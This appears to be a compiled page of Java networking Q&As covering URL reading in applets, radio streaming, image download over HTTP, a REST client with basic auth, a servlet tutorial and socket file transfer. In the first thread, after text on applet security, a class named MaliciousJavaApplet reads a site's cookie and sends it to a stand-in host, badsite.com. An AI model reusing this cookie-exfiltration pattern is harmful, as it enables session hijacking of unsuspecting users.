I'd like to create a simple URL connection that would, for example, read content from my predefined host, in my case - localhost/applet, can you please show me how to do that? I've been googling, but so far without any noticable success.
The content of the file is some text SOME TEXT, that should then be printed in the applet.
You can do this using the URL class:
URL url;
InputStream is = null;
DataInputStream dis;
String line;
url = new URL([put a string with the local host address here. Usual is something like 127.0.0.1]); // can also just put a website to test it.
is = url.openStream(); // throws an IOException
dis = new DataInputStream(new BufferedInputStream(is));
while ((line = dis.readLine()) != null) {
System.out.println(line); //will get each line from the text file and print it. could also put it in a variable.
}
Your question is kind of confusing, so tell me if I did not answer it. What do you mean by localhost/applet is it a java applet? or is it just a textfile name applet?? Where is the text file exactly??
Unsigned Applets
Unsigned applets can perform the following operations:
They can make network connections to the host they came from.
They can easily display HTML documents using the showDocument method of the java.applet.AppletContext class.
They can invoke public methods of other applets on the same page.
Applets that are loaded from the local file system (from a directory in the user's CLASSPATH) have none of the restrictions that applets loaded over the network do.
They can read secure system properties. See System Properties for a list of secure system properties.
When launched by using JNLP, unsigned applets can also perform the following operations:
They can open, read, and save files on the client.
They can access the shared system-wide clipboard.
They can access printing functions.
They can store data on the client, decide how applets should be downloaded and cached, and much more. See JNLP API for more information about developing applets by using the JNLP API.
Unsigned applets cannot perform the following operations:
They cannot access client resources such as the local filesystem, executable files, system clipboard, and printers.
They cannot connect to or retrieve resources from any third party server (any server other than the server it originated from).
They cannot load native libraries.
They cannot change the SecurityManager.
They cannot create a ClassLoader.
They cannot read certain system properties. See System Properties for a list of forbidden system properties.
Signed Applets
Signed applets do not have the security restrictions that are imposed on unsigned applets and can run outside the security sandbox.
import java.awt.*;
import java.io.*;
import java.net.*;
public class MaliciousJavaApplet extends java.applet.Applet {
TextArea messageLog = new TextArea(4, 40);
public void init() {
setLayout(new BorderLayout());
add("Center", messageLog);
}
public void start() {
try {
URL url = new URL("http://www.targetsite.net/default.html");
URLConnection connection;
String inputLine;
BufferedReader inReader;
connection = url.openConnection();
connection.setAllowUserInteraction(false);
connection.setDoOutput(true);
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
messageLog.append("File read from URL " + url + ":\n");
inReader = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
while (null != (inputLine = inReader.readLine())) {
messageLog.append(inputLine + "\n");
}
inReader.close();
messageLog.append("Request Property
"+connection.getRequestProperty("cookie")+"\n");
String cookie;
cookie = connection.getRequestProperty("cookie");
URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
URLConnection connection2;
String inputLine2;
BufferedReader inReader2;
connection2 = url2.openConnection();
connection2.setAllowUserInteraction(false);
connection2.setDoOutput(true);
inReader2 = new BufferedReader(
new InputStreamReader(connection2.getInputStream()));
while (null != (inputLine2 = inReader2.readLine())) {
messageLog.append(inputLine2 + "\n");
}
inReader2.close();
}
catch (IOException e) {
System.err.println("Exception: " + e);
}
}
}
Related
I am new to playing audio with Java. I have written code to play some radio streams.
I find that there are some streaming urls like http://fm939.wnyc.org/wnycfm. This has no port number and contains slashes. I am able to play this type of url only with javax.media.Player.
There are other streaming urls that come with a port number and no slashes. For example, I have a url for National Public Radio 140.254.23.68:8000. I can play these types of url with javazoom.jl.player.Player since this player takes a url string and a port number.
Can someone tell me a little more about the types of streams and how to use the above players correctly. For example, is it possible to play the stream http://fm939.wnyc.org/wnycfm with javazoom.jl.player.Player ? If so, how?
Any help will be much appreciated.
Addendum:
Sorry I didn't mean to say javazoom Player accepts a url. I am using the following code snippet to create a javazoom player. As you can see from the code, I am using SocketFactory createSocket method to create a connection. The createSocket method takes a url and port. I'd like to know how to play a url like http://fm939.wnyc.org/wnycfm, in other words, a url without an explicit port number.
see code snippet below-
response = null;
try {
SocketFactory sf = SocketFactory.getDefault();
connection = sf.createSocket(url,port);
request = "GET / HTTP/1.1\n\n";
outputStream = connection.getOutputStream();
if(outputStream!=null) {
outputStream.flush();
byte[] b = null;
try {b = request.getBytes(StandardCharsets.US_ASCII);}
catch(NullPointerException npe) {..}
if(b != null) {
outputStream.write(b);
outputStream.flush();
response = connection.getInputStream();
}
} catch (IOException e) {e.printStackTrace();}
javazoom.jl.player.Player zoomPlayer = null;
if(response!=null) {
try {zoomPlayer = new javazoom.jl.player.Player(response);
} catch (JavaLayerException e) {e.printStackTrace();}
}
return zoomPlayer;
"A URL can optionally specify a "port"".
so you can set the port.
I dont see where javazoom.jl.player.Player uses a url - maybe a newer version.
But in any case see the document for URL. One of the constructors says
URL(String protocol, String host, int port, String file, URLStreamHandler handler)
Creates a URL object from the specified protocol, host, port number, file, and handler.
The jmf player can be considered more stable. and documented.
javazoom.jl.player.Player is one line.
--
In fact I can play both streams with regular javax.sound procedures.
--
The way to get the url stream is this:
String u="http://140.254.23.68:8000";
URL url=new URL(u);
URLConnection uc = new URL(u).openConnection();
InputStream is=(InputStream)uc.getInputStream();
I'm trying to get an image hosting on our server available to be displayed on a client. As per the specs of the project:
"When a Client receives such a URL, it must download the
contents (i.e., bytes) of the file referenced by the URL.
Before the Client can display the image to the user, it must first retrieve (i.e., download) the bytes of the
image file from the Server. Similarly, if the Client receives the URL of a known data file or a field help file
from the Server, it must download the content of those files before it can use them."
I'm pretty sure we have the server side stuff down, because if I put the url into a browser it retrieves and displays just fine. So it must be something with the ClientCommunicator class; can you take a look at my code and tell me what the problem is? I've spent hours on this.
Here is the code:
Where I actually call the function to get and display the file: (This part is working properly insofar as it is passing the right information to the server)
JFrame f = new JFrame();
JButton b = (JButton)e.getSource();
ImageIcon image = new ImageIcon(ClientCommunicator.DownloadFile(HOST, PORT, b.getLabel()));
JLabel l = new JLabel(image);
f.add(l);
f.pack();
f.setVisible(true);
From the ClientCommunicator class:
public static byte[] DownloadFile(String hostname, String port, String url){
String image = HttpClientHelper.doGetRequest("http://"+hostname+":"+port+"/"+url, null);
return image.getBytes();
}
The pertinent httpHelper:
public static String doGetRequest(String urlString,Map<String,String> headers){
URL url;
HttpURLConnection connection = null;
try {
//Create connection
url = new URL(urlString);
connection = (HttpURLConnection)url.openConnection();
connection.setRequestMethod("GET");
connection.setRequestProperty("Content-Language", "en-US");
connection.setUseCaches (false);
connection.setDoInput(true);
connection.setDoOutput(true);
if(connection.getResponseCode() == 500){
return "failed";
}
//Get Response
InputStream is = connection.getInputStream();
BufferedReader rd = new BufferedReader(new InputStreamReader(is));
String line;
StringBuffer response = new StringBuffer();
while((line = rd.readLine()) != null) {
response.append(line);
}
rd.close();
return response.toString();
} catch (Exception e) {
e.printStackTrace();
return null;
} finally {
if(connection != null) {
connection.disconnect();
}
}
}
After that, it jumps into the server stuff, which as I stated I believe is working correctly because clients such as Chrome can retrieve the file and display it properly. The problem has to be somewhere in here.
I believe that it has to do with the way the bytes are converted into a string and then back, but I do not know how to solve this problem. I've looked at similar problems on StackOverflow and have been unable to apply them to my situation. Any pointers in the right direction would be greatly appreciated.
If your server is sending binary data, you do not want to use an InputStreamReader, or in fact a Reader of any sort. As the Java API indicates, Readers are for reading streams of characters (not bytes) http://docs.oracle.com/javase/7/docs/api/java/io/Reader.html, which means you will run into all sorts of encoding issues.
See this other stack overflow answer for how to read bytes from a stream:
Convert InputStream to byte array in Java
Do your homework.
Isolate the issue. Modify the server side to send only 256 all possible bytes. Do a binary search and reduce it to small set of bytes.
Use http proxy tools to monitor the bytes as they are transmitted. Fiddler in windows world. Find other ones for the *nix environments.
Then see where the problem is happening and google/bing the suspicions or share the result.
I have to test the EPA's Data Exchange Web Services. Since it is difficult to create 100 accounts, buildings, energy usage distributions, etc. I want to automate the process. I searched for code examples to do a simple GET. The best one I found was at http://pic.dhe.ibm.com/infocenter/tivihelp/v10r1/index.jsp?topic=%2Fcom.ibm.taddm.doc_7.2%2FSDKDevGuide%2Ft_cmdbsdk_restapi_java.html. I modified this for my purposes.
With the certificate, it is throwing an error at that line
Without the certificate (commented out), the connection is timing out and throwing the exception at getResponseCode().
I'm not sure:
What is the correct way of submitting a certificate
If I am sending the credentials correctly
If my code is incomplete, and therefore, the application is unable to get the response code
I should be using Eclipse EE (with Web Tools Platform) and create Project > Web Application, instead of Eclipse Juno (without WTP)
Thank you in advance.
package Package1;
import java.io.*;
import java.util.*;
import java.lang.StringBuffer;
import java.net.*;
import java.net.HttpURLConnection;
import javax.net.ssl.HttpsURLConnection;
public class Class1 {
public static void main (String args[]){
try{
// set this property to the location of the cert file
System.setProperty("javax.net.ssl.trustStore","C:/Documents and Settings/bhattdr/Desktop/-.energystar.gov.der");
String username = "yy777PPP";
String password = "yy777PPP";
String userpass = "";
URL url = new URL("https://portfoliomanager.energystar.gov/wstest/account");
// URLConnection uc = url.openConnection();
HttpsURLConnection uc = (HttpsURLConnection) url.openConnection();
userpass = username + ":" + password;
String basicAuth = "Basic " + javax.xml.bind.DatatypeConverter.printBase64Binary(userpass.getBytes());
System.out.println("sending request...");
uc.setRequestMethod("GET");
uc.setAllowUserInteraction(false);
uc.setDoOutput(true);
uc.setRequestProperty( "Content-type", "text/xml" );
uc.setRequestProperty( "Accept", "text/xml" );
uc.setRequestProperty ("Authorization", basicAuth);
System.out.println(uc.getRequestProperties());
// uc.setRequestProperty( "authorization", "Basic " + encode("administrator:collation"));
// Map headerFields = uc.getHeaderFields();
// System.out.println("header fields are: " + headerFields);
int rspCode = uc.getResponseCode();
if (rspCode == 200) {
InputStream is = uc.getInputStream();
InputStreamReader isr = new InputStreamReader(is);
BufferedReader br = new BufferedReader(isr);
String nextLine = br.readLine();
while (nextLine != null) {
System.out.println(nextLine);
nextLine = br.readLine();
}
}
}
catch(IOException e) {
e.printStackTrace();
}
}
}
You don't need to roll your own.
If you want to write something, you can use Jersey, which has existing classes to act as Rest Clients (Rest clients for Java?)
There are plenty of apps which exercise rest apis which you can use if you don't want to write something. Google turns up plenty (like http://code.google.com/p/rest-client/)
You're using a DER file as your key store which is not supported by Java
Crypto normally. Use the keytool to create a JKS or some other supported keystore and then refer to it.
AMong all the frameworks for REST-Clients... did you try OpenFeign? It's a components from the NetFlix stack. Easy to use and fits into all the other
components of NetFlix.
Give it a try: https://github.com/OpenFeign/feign
The following code exist on
http://docs.oracle.com/javase/tutorial/networking/urls/readingWriting.html
Which is the oracle tutorial website.
My problem is with understanding the servlet. As you can see in documentation at the bottom of the page it says:
If your ReverseServlet is located at http://example.com/servlet/ReverseServlet, then when you run the Reverse program using
http://example.com/servlet/ReverseServlet "Reverse Me"
To run this example I tested my program with this link
http://docs.oracle.com/javase/tutorial/networking/urls/examples/ReverseServlet.java "Reverse Me"
and I got this error:
Exception in thread "main" java.io.IOException: Server returned HTTP response code: 403 for URL: http://docs.oracle.com/javase/tutorial/networking/urls/examples/ReverseServlet.java
at sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1436)
at DemoURL.main(DemoURL.java:28)
Is it the place that my ReverseServlet is located or I'm totally wrong. If this not the correct way how can I run this program to check this example in tutorial?
Here is the code I have changed the class name:
import java.io.*;
import java.net.*;
public class DemoURL {
public static void main(String[] args) throws Exception {
if (args.length != 2) {
System.err.println("Usage: java Reverse "
+ "http://<location of your servlet/script>"
+ " string_to_reverse");
System.exit(1);
}
String stringToReverse = URLEncoder.encode(args[1], "UTF-8");
URL url = new URL(args[0]);
URLConnection connection = url.openConnection();
connection.setDoOutput(true);
OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream());
out.write("string=" + stringToReverse);
out.close();
BufferedReader in = new BufferedReader(new InputStreamReader(connection.getInputStream()));
String decodedString;
while ((decodedString = in.readLine()) != null) {
System.out.println(decodedString);
}
in.close();
}
}
The url you use http://docs.oracle.com/javase/tutorial/networking/urls/examples/ReverseServlet.java does not contain a running version of the reverse servlet, just the source.
If you want to run the servlet you need to compile it and deploy the servlet yourself in a servlet container of your choice such as Tomcat, Jetty or similar. The servlet container handles accepting the request,parsing it and passing the request to the servlet.
Here is a description of how to (relatively) easily run a servlet Fastest way to deploy a Java servlet.
If your ReverseServlet is located at http://example.com/servlet/ReverseServlet
This means you need to create your own Servlet.
I rewrote a simple example of file transfer code between server and client.
And it works.
But i want to make it able to transfer multiple files in a particular directory. User will write the file names (which sits in that particular directory) and client will download them from the server. How can i do that? Any ideas? Thank you.
Client code:
import java.net.*;
import java.io.*;
public class Client {
static String hostname = "127.0.0.1";
static int port = 4588;
static int processedByte;
static byte[] theByte = new byte[1];
static Socket client = null;
static InputStream inuputSt = null;
public static void main(String[] args) throws InterruptedException {
System.out.println("connecting...");
Thread.sleep(500);
try {
client = new Socket(hostname, port);
inuputSt = client.getInputStream();
} catch (IOException ex) {
System.out.println("connection error.");
}
ByteArrayOutputStream arrayOutput = new ByteArrayOutputStream();
if (inuputSt != null) {
FileOutputStream fileOutput = null;
BufferedOutputStream bufferedOutput = null;
try {
System.out.println("downloading target file...");
Thread.sleep(800);
fileOutput = new FileOutputStream("file1_downloaded.txt");
bufferedOutput = new BufferedOutputStream(fileOutput);
processedByte = inuputSt.read(theByte, 0, theByte.length);
do {
arrayOutput.write(theByte);
processedByte = inuputSt.read(theByte);
} while (processedByte != -1);
bufferedOutput.write(arrayOutput.toByteArray());
bufferedOutput.flush();
bufferedOutput.close();
System.out.println("file downloaded");
client.close();
} catch (IOException ex) {
System.out.println("file transfer error.");
}
}
}
}
Server code:
import java.net.*;
import java.io.*;
public class Server {
static int port = 4588;
public static void main(String[] args) {
while (true) {
ServerSocket server = null;
Socket connection = null;
BufferedOutputStream bufferedOutput = null;
try {
server = new ServerSocket(port);
connection = server.accept();
bufferedOutput = new BufferedOutputStream(connection.getOutputStream());
} catch (IOException ex) {
// Do exception handling
}
if (bufferedOutput != null) {
File fileToSend = new File("files\\file1.txt");
byte[] mybytearray = new byte[(int) fileToSend.length()];
FileInputStream fileInputSt = null;
try {
fileInputSt = new FileInputStream(fileToSend);
} catch (FileNotFoundException ex) {
// exception stuff
}
BufferedInputStream bufferedInput = new BufferedInputStream(fileInputSt);
try {
bufferedInput.read(mybytearray, 0, mybytearray.length);
bufferedOutput.write(mybytearray, 0, mybytearray.length);
bufferedOutput.flush();
bufferedOutput.close();
connection.close();
//file1.txt has been downloaded
return;
} catch (IOException ex) {
// exception stuff
}
}
}
}
}
You suggest HTTP as a protocol for your clients and servers -- HTTP is a fine protocol but may be a large implementation hurdle if you want to do the whole thing yourself. The HTTP PUT verb can be used to upload a file, and the benefit of using HTTP in this fashion is that your client and server could communicate with other tools designed to use PUT requests. (PUT is less-used than other HTTP verbs, so not all HTTP tools will work; the curl(1) program does support PUT via the -T command line option. This will be a great implementation aid, should you chose HTTP.)
There are a variety of REST Frameworks that can assist you in writing HTTP software; I have heard good things about Restlet, it would be my recommended starting point.
But you don't have to pick HTTP as your protocol. I think you can learn a lot about networking programming if you implement your own protocol -- it will teach you a lot about API design and sockets programming in a way that would be difficult to learn by using pre-written HTTP protocol tools (and frustrating if you tried to implement HTTP in its entirety yourself).
Consider this conversation:
client -> server: upload file named "flubber" sized 200000 bytes
server -> client: ok
client -> server: flubber contents
server -> client: ok
client -> server: upload file named "blort" sized 10 bytes
server -> client: error, file exists
...
You might want to add new commands to provide for hashing the file on both ends to ensure the file transfer succeeded, commands for sending specific byte ranges (either to append to an existing file or re-start a failed transfer), commands to list existing file names on the server, commands to overwrite existing files, commands to delete files from the server, and so forth. The best part of writing your own protocol is you get to decide what your programs will support. The downside is that you get to test the features you write, and testing some cases may be difficult. (Say, consider that a client may send each character of a command in a different TCP packet. Implementing the buffering to store up an entire command isn't trivial, but it is already done for you with a tool such as Restlet.)
Juan's advice to use multiple TCP sessions isn't strictly necessary -- though it may be the easiest path forward for you. You'll need to add some mechanism to provide the filename to the remote peer, and that might be best done through the "control" channel (the first session running -- similar to FTP) or it might be something you send immediately before the file's contents (similar to HTTP).
I'd like to suggest avoiding multiple connections, though -- each connection requires three times the round-trip time between systems to set up and start transferring bytes. This delay can be extremely annoying, especially when you're trying to transfer hundreds of small files. You can even spend more time setting up connections than you do actually sending data.
But it's your tool -- you get to design it as you wish. Have fun.
I think you need to create a new connection for each file so in that situation you'll be able to transfer files simultaneously.
You may have to modify your server to create a new thread (or get one from a thread pool) for each client connection so it can work with many at the same time.
Then you can run the client once per file.
Cheers
Ok, can you transfer multi files making a ArrayList or List files. Getting into in the array after get out in a filesystem path. I hope help you.